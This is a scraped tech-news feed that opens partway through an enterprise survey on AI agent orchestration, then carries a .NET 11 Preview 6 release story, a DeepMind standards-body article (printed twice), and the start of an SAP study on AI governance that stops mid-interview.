user-facing metrics trail.</p><div></div><p>Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.</p><p>The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.</p><h2>Finding 4: Consolidate, productionize, and build in-house </h2><p><b>Three strategic moves are nearly tied for the year ahead</b></p><p>We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.</p><div></div><p>The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.</p><h2>Finding 5: Investment flows to workflow tooling</h2><p><b>Tooling and permissions lead the spend; monitoring trails</b></p><p>We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.</p><div></div><p>Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.</p><h2>Finding 6: The control plane will be hybrid — and lock-in is why</h2><p><b>Enterprises expect to split control between providers and their own layer</b></p><p>We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.</p><div></div><p>Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.</p><p>The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.</p><p>Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.</p><h2>Finding 7: The chatbot trap — most “agents” aren’t agents yet</h2><p><b>Enterprises admit most deployments are still chatbot wrappers</b></p><p>We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.</p><div></div><p>This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.</p><h2>Finding 8: Fiscal control is still reactive</h2><p><b>Only a minority can stop a runaway agent before the bill arrives</b></p><p>Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.</p><div></div><p>More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.</p><p>It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.</p><h2>The bottom line: The layer is real; most of the agents aren't yet</h2><p>Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing on model-provider platforms — Anthropic’s Claude leads at 40% — chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most.</p><p>But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed “agents” are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The question for subsequent waves is whether the deployed reality closes the gap on the ambition — or whether the chatbot trap proves stickier than the roadmap assumes.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.</i></p>]]></content:encoded>
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<title><![CDATA[Microsoft releases .NET 11 Preview 6]]></title>
<description><![CDATA[Preview 6 of Microsoft’s .NET 11 software development platform is now available, with improvements across the runtime, libraries, frameworks, and C# and F# programming languages.



Announced July 15, .NET 11 Preview 6 can be downloaded from dotnet.microsoft.com. The full, general production rele...]]></description>
<link>https://tsecurity.de/de/3671960/ai-nachrichten/microsoft-releases-net-11-preview-6/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671960/ai-nachrichten/microsoft-releases-net-11-preview-6/</guid>
<pubDate>Wed, 15 Jul 2026 23:51:54 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Preview 6 of Microsoft’s .NET 11 software development platform is now available, with improvements across the runtime, libraries, frameworks, and C# and F# programming languages.</p>



<p class="wp-block-paragraph">Announced <a href="https://devblogs.microsoft.com/dotnet/dotnet-11-preview-6/">July 15</a>, .NET 11 Preview 6 can be downloaded from <a href="https://dotnet.microsoft.com/en-us/download/dotnet/11.0">dotnet.microsoft.com</a>. The full, general production release is expected in November. The first preview was unveiled <a href="https://www.infoworld.com/article/4130996/microsoft-unveils-first-preview-of-net-11.html">February 10</a>.</p>



<p class="wp-block-paragraph">Runtime-async, the .NET runtime’s built-in implementation of <code>async</code>/<code>await</code>, keeps getting faster in Preview 6, building on the suspension improvements from Preview 5. Async continuations can now opt out of <code>ExecutionContext</code> capture and restore. And the JIT now compiles a dedicated runtime-async version of a synchronous, task-returning method rather than delegating to it through a thunk. The JIT turns the method’s tail calls into runtime-async calls and awaits the task that would otherwise have been returned, so the async path no longer pays for an extra layer of indirection, Microsoft said.</p>



<p class="wp-block-paragraph">In library improvements, <code>System.Text.Json</code> can now serialize and deserialize the new <a href="https://github.com/dotnet/core/blob/main/release-notes/11.0/preview/preview6/csharp.md" data-type="link" data-id="https://github.com/dotnet/core/blob/main/release-notes/11.0/preview/preview6/csharp.md">C# union types</a>. The serializer recognizes a union through the new <code>JsonTypeInfoKind.Union</code> contract type, reads and writes the active case, and supports the reflection-based serializer and the source generator. The new <code>JsonUnionAttribute</code>, <code>JsonUnionCaseInfo</code>, and type-classifier APIs enable customization of how cases are discovered and named. </p>



<p class="wp-block-paragraph">In C# improvements, extension members now include indexers, so developers can add <code>this[...]</code> access to a type from an <code>extension</code> block. This rounds out the <a href="https://www.infoworld.com/article/3839444/the-key-new-features-in-net-10.html" data-type="link" data-id="https://www.infoworld.com/article/3839444/the-key-new-features-in-net-10.html">extension members feature introduced in .NET 10</a>, which already supported extension methods and properties. An extension indexer is declared like an instance indexer inside an <code>extension</code> block.</p>



<p class="wp-block-paragraph">Other highlights in .NET 11 Preview 6:</p>



<ul class="wp-block-list">
<li><code>Math.BigMul(long, long, out long)</code> is now significantly faster on x64. The JIT generates a single <code>MUL r/m64</code> instruction when both operands are 64-bit values and the caller requests the high half of the result. Previously the JIT emitted a helper call. The change eliminates the call overhead and makes code that multiplies large numbers tighter.</li>



<li>Minimal API validation in ASP.NET Core now supports asynchronous validators end-to-end.</li>



<li>For F#, the compiler emits better sequence points for several common debugging scenarios. Breakpoints and stepping are improved for call arguments that need stack-empty debug points, <code>for</code> expressions and comprehensions, simple literal bindings, and <code>if</code> or <code>match</code> conditions.</li>



<li>For .NET MAUI, .NET 11 Preview 6 advances the cross-platform CollectionView and Shell architecture, removes the legacy Xamarin.Forms compatibility package, and brings the Apple workloads onto stable Xcode 26.6.</li>



<li>Also for .NET MAUI, <code>HybridWebView</code> JavaScript interop is reworked to use a source generator instead of reflection, so it no longer produces trim or AOT (ahead of time) compiler warnings and works correctly in fully trimmed and Native AOT apps. </li>



<li>Projects that use <code>Microsoft.TypeScript.MSBuild</code> in Razor Class Libraries now properly integrate TypeScript compilation outputs with ASP.NET Core Static Web Assets.</li>
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<title><![CDATA[DeepMind CEO again pushes for a frontier AI standards body]]></title>
<description><![CDATA[Google DeepMind CEO Demis Hassabis on Tuesday reiterated his push for an AI industry self-regulation effort, led by the US government, that is particularly focused on artificial general intelligence (AGI) and national security. 



But it is precisely that focus on national security that may make...]]></description>
<link>https://tsecurity.de/de/3671860/it-nachrichten/deepmind-ceo-again-pushes-for-a-frontier-ai-standards-body/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671860/it-nachrichten/deepmind-ceo-again-pushes-for-a-frontier-ai-standards-body/</guid>
<pubDate>Wed, 15 Jul 2026 23:01:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Google DeepMind CEO Demis Hassabis on Tuesday reiterated his push for an AI industry self-regulation effort, led by the US government, that is particularly focused on <a href="https://www.computerworld.com/article/4174181/google-talks-singularity-while-scaling-up-agentic-ai-for-enterprises-2.html" target="_blank">artificial general intelligence (AGI)</a> and national security. </p>



<p class="wp-block-paragraph">But it is precisely that focus on national security that may make the results of such an effort, assuming it happens, less than palatable outside of the US.</p>



<p class="wp-block-paragraph">“The rapid progress we’re seeing in AI requires a new approach to testing frontier AI model capabilities that is dynamic, adaptable, and rigorous,” <a href="https://demishassabis.substack.com/p/a-framework-for-frontier-ai-and-the-dawning-of-a-new-age" target="_blank" rel="noreferrer noopener">Hassabis wrote</a>. “The US is well positioned, given its economic and technical standing, to take the first step in developing such a framework. It could establish a new Standards Body modelled on a federally overseen public-private partnership or self-regulatory organization, much like the Financial Industry Regulatory Authority (FINRA), with a board that includes independent leading technical experts and open-source representatives.”</p>



<p class="wp-block-paragraph">He noted, however, that the funding would need to be substantial, and would most likely come from industry, to allow the new body to attract world-class technical talent and obtain the necessary compute resources for large-scale testing.</p>



<p class="wp-block-paragraph">Hassabis said he would propose that the organization “be responsible for developing assessment protocols and working with appropriate federal agencies and the US National Labs to conduct testing in areas relevant to national security,” and that AI vendor participants would be encouraged to adopt best practices, such as publishing model cards with technical details, maintaining strong internal cybersecurity, vetting key personnel, and providing sufficient resourcing for safety and security research.</p>



<p class="wp-block-paragraph">This is not the first time Hassabis has <a href="https://www.computerworld.com/article/4178398/deepmind-ceo-agi-could-be-here-in-three-years.html" target="_blank">expressed worries about AGI</a>. He has already worked on <a href="https://www.cio.com/article/4168122/us-government-agency-to-safety-test-frontier-ai-models-before-release.html" target="_blank">a US government initiative evaluating AI safety</a>, which involved DeepMind, Microsoft and xAI (now SpaceXAI) working with the Center for AI Standards and Innovation (CAISI), a division of the US Department of Commerce. It allowed CAISI to conduct pre-deployment evaluations and targeted research to “better assess frontier AI capabilities and advance the state of AI security.”  </p>



<h2 class="wp-block-heading">The rest of the world may have concerns</h2>



<p class="wp-block-paragraph">Analysts and consultants were mixed about the move, with most expressing concerns about whether an industry-focused group would prioritize the public’s best interests.</p>



<p class="wp-block-paragraph">“Self-regulation is not viable because it implies everyone is able to regulate themselves and will do so in line with the best interests of the public. Most tech vendors don’t have the capacity to self-regulate. They would just prefer a set of rules within which they can operate,” said Gartner VP analyst <a href="https://www.gartner.com/en/experts/nader-henein" target="_blank" rel="noreferrer noopener">Nader Henein</a>. “For-profit organizations are required to do what is best for their shareholders, and external regulation ensures that those organizations are never in a conflict of interest where they have to choose between what is good for their shareholders and what is good for the public.”</p>



<p class="wp-block-paragraph">And, said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, given the international nature of AI models, an effort coordinated by the US government might alienate other countries. </p>



<p class="wp-block-paragraph">“National security is the proposal’s accelerator in Washington and its poison pill abroad: the framing that opens the only gate available at home invites foreign capitals to read the institution as an instrument of American strategy,” he pointed out. </p>



<p class="wp-block-paragraph">“The map is already plural,” he said. “Brussels switches on enforcement powers over general-purpose models [starting in August 2026], London runs the AI Security Institute, and Beijing licenses on its own terms. California and New York have legislated for frontier models at home. The durable route is shared technical evidence with sovereign enforcement, sealed through mutual recognition rather than deference, with India and the other major non-Western markets holding authorship rather than seats.”</p>



<p class="wp-block-paragraph">Gogia added that the rules enacted by even such a group may not address all of the key concerns of enterprise IT. A US government effort along the lines that Hassabis is proposing would result in testing that “sits close to intelligence and industrial policy, and those functions will not stay neatly separated. A model can pass every catastrophic-risk test and still fail the enterprise on privacy, reliability, and liability,” he noted.</p>



<p class="wp-block-paragraph">Walmart’s former director of cybersecurity <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a>, who is now an independent cybersecurity consultant, said he found the proposal “well-intentioned, but it addresses a highly polarized topic at a time when commercial interests carry unprecedented political influence, which is not always applied benevolently.”</p>



<p class="wp-block-paragraph">He added, “an exclusive US standard that is not globally respected or enforceable would likely fail to achieve its core purpose and would place US companies at a competitive disadvantage.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, said that a deep dive into how <a href="https://www.finra.org/" target="_blank" rel="noreferrer noopener">FINRA</a> operates today is illustrative of what IT leaders can expect from this effort, assuming the industry adopts that model.</p>



<p class="wp-block-paragraph">“When the CEOs of the five companies that would be regulated are also the primary drafters of the standards, the standards will reflect those companies’ interests. FINRA has an independent board, but the operational reality is that member firm perspectives dominate the working groups that write the actual rules,” he said. “There is no reason to expect an AI equivalent to work differently, and every reason to expect it to work worse, because AI standardization is happening faster than any industry has ever attempted to standardize itself, and speed is the enemy of independent oversight.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/carmi/" target="_blank" rel="noreferrer noopener">Carmi Levy</a>, an independent technology analyst, was even more emphatically opposed to the Hassabis proposal.</p>



<p class="wp-block-paragraph">“Asking Big Tech companies to self-police is analogous to allowing foxes to guard the henhouse. It hasn’t worked to date, and it won’t work going forward. Expecting these organizations to somehow change their ways at this point in time represents the height of naïve thinking,” Levy said. “The framework proposed by Demis Hassabis is a self-serving roadmap for an industry bent on racing to the AI horizon regardless of the harms caused along the way. It is impossible to quantify the dangers to broader society should frameworks allowing self-regulation become the norm.”</p>



<h2 class="wp-block-heading">Some love the proposal</h2>



<p class="wp-block-paragraph">An almost completely opposite stance came from <a href="https://www.linkedin.com/in/yurigoryunov/" target="_blank" rel="noreferrer noopener">Yuri Goryunov</a>, CIO of consulting firm Acceligence, who applauded the proposed move.</p>



<p class="wp-block-paragraph">“This is one of the rare setups where industry self-regulation has a real shot, and enterprise IT should be enthusiastically rooting for it,” he said. “It fails when harms are externalized, such as in social media content moderation. Or when the overseer outsources judgment to the overseen, such as the FAA’s delegation to Boeing before the 737 MAX. It works when everyone in the industry shares the catastrophic downside.”</p>



<p class="wp-block-paragraph">He suggested, however, that the best precedent here isn’t FINRA, it’s INPO, the Institute of Nuclear Power Operations, which the nuclear industry created within months of the <a href="https://www.nrc.gov/reading-rm/doc-collections/fact-sheets/3mile-isle" target="_blank" rel="noreferrer noopener">1979 Three Mile Island partial reactor meltdown</a> “on the logic that an accident anywhere is an accident everywhere. INPO peer-reviews every US plant, its evaluations move insurance premiums, and it sits on top of the NRC’s statutory floor. That is a public-private stack very close to what Hassabis is describing. Frontier AI has the same structure: one lab’s catastrophic failure brings regulation down on all of them.”</p>



<p class="wp-block-paragraph">For enterprise CIOs and other IT executives, Goryunov said, that model has the potential for being a big win.</p>



<p class="wp-block-paragraph"><strong>“</strong>Today, every enterprise duplicates the same AI diligence of red-teaming, eval suites, governance committees and each does so with less information than any certifying body would have,” Goryunov said. “A credible standards regime does for AI what UL did for electrical equipment and SOC2 did for cloud: it converts an unknowable risk into a procurable product and gives boards a defensible standard of care. That’s not red tape. That’s peace of mind with an audit trail.”</p>



<p class="wp-block-paragraph">However, Mahapatra said, “the countervailing view is that the alternative to industry-led standards is probably not thoughtful legislation. It is probably no standards, or state-by-state fragmentation, or the current pattern of ex-post enforcement actions where regulators surface concerns years after harm has already occurred.” </p>



<p class="wp-block-paragraph">Thus, he noted, “Hassabis is making the reasonable argument that imperfect fast standards are better than perfect slow ones, and there is genuine merit to that view for topics like agent identity, evaluation methodology, and interoperability, which are exactly the areas <a href="https://www.computerworld.com/article/4196365/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai.html" target="_blank">OpenClaw is also targeting</a>.”</p>
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<title><![CDATA[DeepMind CEO again pushes for a frontier AI standards body]]></title>
<description><![CDATA[Google DeepMind CEO Demis Hassabis on Tuesday reiterated his push for an AI industry self-regulation effort, led by the US government, that is particularly focused on artificial general intelligence (AGI) and national security. 



But it is precisely that focus on national security that may make...]]></description>
<link>https://tsecurity.de/de/3671859/it-nachrichten/deepmind-ceo-again-pushes-for-a-frontier-ai-standards-body/</link>
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<pubDate>Wed, 15 Jul 2026 23:01:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Google DeepMind CEO Demis Hassabis on Tuesday reiterated his push for an AI industry self-regulation effort, led by the US government, that is particularly focused on <a href="https://www.computerworld.com/article/4174181/google-talks-singularity-while-scaling-up-agentic-ai-for-enterprises-2.html" target="_blank">artificial general intelligence (AGI)</a> and national security. </p>



<p class="wp-block-paragraph">But it is precisely that focus on national security that may make the results of such an effort, assuming it happens, less than palatable outside of the US.</p>



<p class="wp-block-paragraph">“The rapid progress we’re seeing in AI requires a new approach to testing frontier AI model capabilities that is dynamic, adaptable, and rigorous,” <a href="https://demishassabis.substack.com/p/a-framework-for-frontier-ai-and-the-dawning-of-a-new-age" target="_blank" rel="noreferrer noopener">Hassabis wrote</a>. “The US is well positioned, given its economic and technical standing, to take the first step in developing such a framework. It could establish a new Standards Body modelled on a federally overseen public-private partnership or self-regulatory organization, much like the Financial Industry Regulatory Authority (FINRA), with a board that includes independent leading technical experts and open-source representatives.”</p>



<p class="wp-block-paragraph">He noted, however, that the funding would need to be substantial, and would most likely come from industry, to allow the new body to attract world-class technical talent and obtain the necessary compute resources for large-scale testing.</p>



<p class="wp-block-paragraph">Hassabis said he would propose that the organization “be responsible for developing assessment protocols and working with appropriate federal agencies and the US National Labs to conduct testing in areas relevant to national security,” and that AI vendor participants would be encouraged to adopt best practices, such as publishing model cards with technical details, maintaining strong internal cybersecurity, vetting key personnel, and providing sufficient resourcing for safety and security research.</p>



<p class="wp-block-paragraph">This is not the first time Hassabis has <a href="https://www.computerworld.com/article/4178398/deepmind-ceo-agi-could-be-here-in-three-years.html" target="_blank">expressed worries about AGI</a>. He has already worked on <a href="https://www.cio.com/article/4168122/us-government-agency-to-safety-test-frontier-ai-models-before-release.html" target="_blank">a US government initiative evaluating AI safety</a>, which involved DeepMind, Microsoft and xAI (now SpaceXAI) working with the Center for AI Standards and Innovation (CAISI), a division of the US Department of Commerce. It allowed CAISI to conduct pre-deployment evaluations and targeted research to “better assess frontier AI capabilities and advance the state of AI security.”  </p>



<h2 class="wp-block-heading">The rest of the world may have concerns</h2>



<p class="wp-block-paragraph">Analysts and consultants were mixed about the move, with most expressing concerns about whether an industry-focused group would prioritize the public’s best interests.</p>



<p class="wp-block-paragraph">“Self-regulation is not viable because it implies everyone is able to regulate themselves and will do so in line with the best interests of the public. Most tech vendors don’t have the capacity to self-regulate. They would just prefer a set of rules within which they can operate,” said Gartner VP analyst <a href="https://www.gartner.com/en/experts/nader-henein" target="_blank" rel="noreferrer noopener">Nader Henein</a>. “For-profit organizations are required to do what is best for their shareholders, and external regulation ensures that those organizations are never in a conflict of interest where they have to choose between what is good for their shareholders and what is good for the public.”</p>



<p class="wp-block-paragraph">And, said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, given the international nature of AI models, an effort coordinated by the US government might alienate other countries. </p>



<p class="wp-block-paragraph">“National security is the proposal’s accelerator in Washington and its poison pill abroad: the framing that opens the only gate available at home invites foreign capitals to read the institution as an instrument of American strategy,” he pointed out. </p>



<p class="wp-block-paragraph">“The map is already plural,” he said. “Brussels switches on enforcement powers over general-purpose models [starting in August 2026], London runs the AI Security Institute, and Beijing licenses on its own terms. California and New York have legislated for frontier models at home. The durable route is shared technical evidence with sovereign enforcement, sealed through mutual recognition rather than deference, with India and the other major non-Western markets holding authorship rather than seats.”</p>



<p class="wp-block-paragraph">Gogia added that the rules enacted by even such a group may not address all of the key concerns of enterprise IT. A US government effort along the lines that Hassabis is proposing would result in testing that “sits close to intelligence and industrial policy, and those functions will not stay neatly separated. A model can pass every catastrophic-risk test and still fail the enterprise on privacy, reliability, and liability,” he noted.</p>



<p class="wp-block-paragraph">Walmart’s former director of cybersecurity <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a>, who is now an independent cybersecurity consultant, said he found the proposal “well-intentioned, but it addresses a highly polarized topic at a time when commercial interests carry unprecedented political influence, which is not always applied benevolently.”</p>



<p class="wp-block-paragraph">He added, “an exclusive US standard that is not globally respected or enforceable would likely fail to achieve its core purpose and would place US companies at a competitive disadvantage.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, said that a deep dive into how <a href="https://www.finra.org/" target="_blank" rel="noreferrer noopener">FINRA</a> operates today is illustrative of what IT leaders can expect from this effort, assuming the industry adopts that model.</p>



<p class="wp-block-paragraph">“When the CEOs of the five companies that would be regulated are also the primary drafters of the standards, the standards will reflect those companies’ interests. FINRA has an independent board, but the operational reality is that member firm perspectives dominate the working groups that write the actual rules,” he said. “There is no reason to expect an AI equivalent to work differently, and every reason to expect it to work worse, because AI standardization is happening faster than any industry has ever attempted to standardize itself, and speed is the enemy of independent oversight.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/carmi/" target="_blank" rel="noreferrer noopener">Carmi Levy</a>, an independent technology analyst, was even more emphatically opposed to the Hassabis proposal.</p>



<p class="wp-block-paragraph">“Asking Big Tech companies to self-police is analogous to allowing foxes to guard the henhouse. It hasn’t worked to date, and it won’t work going forward. Expecting these organizations to somehow change their ways at this point in time represents the height of naïve thinking,” Levy said. “The framework proposed by Demis Hassabis is a self-serving roadmap for an industry bent on racing to the AI horizon regardless of the harms caused along the way. It is impossible to quantify the dangers to broader society should frameworks allowing self-regulation become the norm.”</p>



<h2 class="wp-block-heading">Some love the proposal</h2>



<p class="wp-block-paragraph">An almost completely opposite stance came from <a href="https://www.linkedin.com/in/yurigoryunov/" target="_blank" rel="noreferrer noopener">Yuri Goryunov</a>, CIO of consulting firm Acceligence, who applauded the proposed move.</p>



<p class="wp-block-paragraph">“This is one of the rare setups where industry self-regulation has a real shot, and enterprise IT should be enthusiastically rooting for it,” he said. “It fails when harms are externalized, such as in social media content moderation. Or when the overseer outsources judgment to the overseen, such as the FAA’s delegation to Boeing before the 737 MAX. It works when everyone in the industry shares the catastrophic downside.”</p>



<p class="wp-block-paragraph">He suggested, however, that the best precedent here isn’t FINRA, it’s INPO, the Institute of Nuclear Power Operations, which the nuclear industry created within months of the <a href="https://www.nrc.gov/reading-rm/doc-collections/fact-sheets/3mile-isle" target="_blank" rel="noreferrer noopener">1979 Three Mile Island partial reactor meltdown</a> “on the logic that an accident anywhere is an accident everywhere. INPO peer-reviews every US plant, its evaluations move insurance premiums, and it sits on top of the NRC’s statutory floor. That is a public-private stack very close to what Hassabis is describing. Frontier AI has the same structure: one lab’s catastrophic failure brings regulation down on all of them.”</p>



<p class="wp-block-paragraph">For enterprise CIOs and other IT executives, Goryunov said, that model has the potential for being a big win.</p>



<p class="wp-block-paragraph"><strong>“</strong>Today, every enterprise duplicates the same AI diligence of red-teaming, eval suites, governance committees and each does so with less information than any certifying body would have,” Goryunov said. “A credible standards regime does for AI what UL did for electrical equipment and SOC2 did for cloud: it converts an unknowable risk into a procurable product and gives boards a defensible standard of care. That’s not red tape. That’s peace of mind with an audit trail.”</p>



<p class="wp-block-paragraph">However, Mahapatra said, “the countervailing view is that the alternative to industry-led standards is probably not thoughtful legislation. It is probably no standards, or state-by-state fragmentation, or the current pattern of ex-post enforcement actions where regulators surface concerns years after harm has already occurred.” </p>



<p class="wp-block-paragraph">Thus, he noted, “Hassabis is making the reasonable argument that imperfect fast standards are better than perfect slow ones, and there is genuine merit to that view for topics like agent identity, evaluation methodology, and interoperability, which are exactly the areas <a href="https://www.computerworld.com/article/4196365/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai.html" target="_blank">OpenClaw is also targeting</a>.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on CIO.com.</em></p>



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<title><![CDATA[AI is paying off, but governance is lagging behind]]></title>
<description><![CDATA[Enterprises are facing two simultaneous challenges with AI: The risks associated with it are evolving faster than governance frameworks, while the business benefits are often difficult to measure.



This is one of the key findings of The Value of AI, a study commissioned by SAP from Oxford Econo...]]></description>
<link>https://tsecurity.de/de/3671333/it-nachrichten/ai-is-paying-off-but-governance-is-lagging-behind/</link>
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<pubDate>Wed, 15 Jul 2026 18:33:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Enterprises are facing two simultaneous challenges with AI: The risks associated with it are evolving faster than governance frameworks, while the business benefits are often difficult to measure.</p>



<p class="wp-block-paragraph">This is one of the key findings of <a href="https://www.sap.com/documents/2026/07/92b94d7d-5a7f-0010-bca6-c68f7e60039b.html" target="_blank" rel="noreferrer noopener">The Value of AI</a>, a study commissioned by SAP from Oxford Economics. Now in its second year, the study surveyed 2,600 executives from 13 countries worldwide.</p>



<h2 class="wp-block-heading">High expectations, limited preparation</h2>



<p class="wp-block-paragraph">On average, the enterprises surveyed plan to spend around $28 million on AI (up from $26.7 million last year), and expect a 21% ROI (from 16% last year). Expectations for AI agents are particularly high, with ROI expected to reach 17% this year, up from 10% last year. Furthermore, 83% of respondents worldwide said agentic AI has the potential to fundamentally transform their organization. On the other hand, only 3% of respondents said their enterprises were fully prepared for the deployment of AI agents.</p>



<p class="wp-block-paragraph">There are gaps, particularly when it comes to governance:</p>



<ul class="wp-block-list">
<li>Only 12% of respondents said their skills or processes were able to govern AI effectively,</li>



<li>38% do not have human-in-the-loop processes in place for oversight of AI agents, and</li>



<li>only 63% have established permissions and access controls for agents.</li>
</ul>



<p class="wp-block-paragraph">Other concerns include weaknesses in the organization of AI deployment, poor data quality, insufficient employee training, and the widespread use of shadow AI.</p>



<h2 class="wp-block-heading">Governance is the bigger challenge</h2>


<div class="extendedBlock-wrapper block-coreImage right"><figure class="wp-block-image alignright size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption">Sean Kask, Chief AI Strategy Officer at SAP </figcaption></figure><p class="imageCredit">SAP</p></div>



<p class="wp-block-paragraph">In an interview, <a href="https://www.linkedin.com/in/seankask/" target="_blank" rel="noreferrer noopener">Sean Kask</a>, Chief AI Strategy Officer at SAP, commented on the study’s key findings.</p>



<p class="wp-block-paragraph"><em>Mr. Kask, in the study’s foreword, you write that companies are currently facing two challenges simultaneously: The risks associated with AI are evolving faster than governance, while the business benefits are often difficult to measure. Which of these poses the greater problem for companies?</em></p>



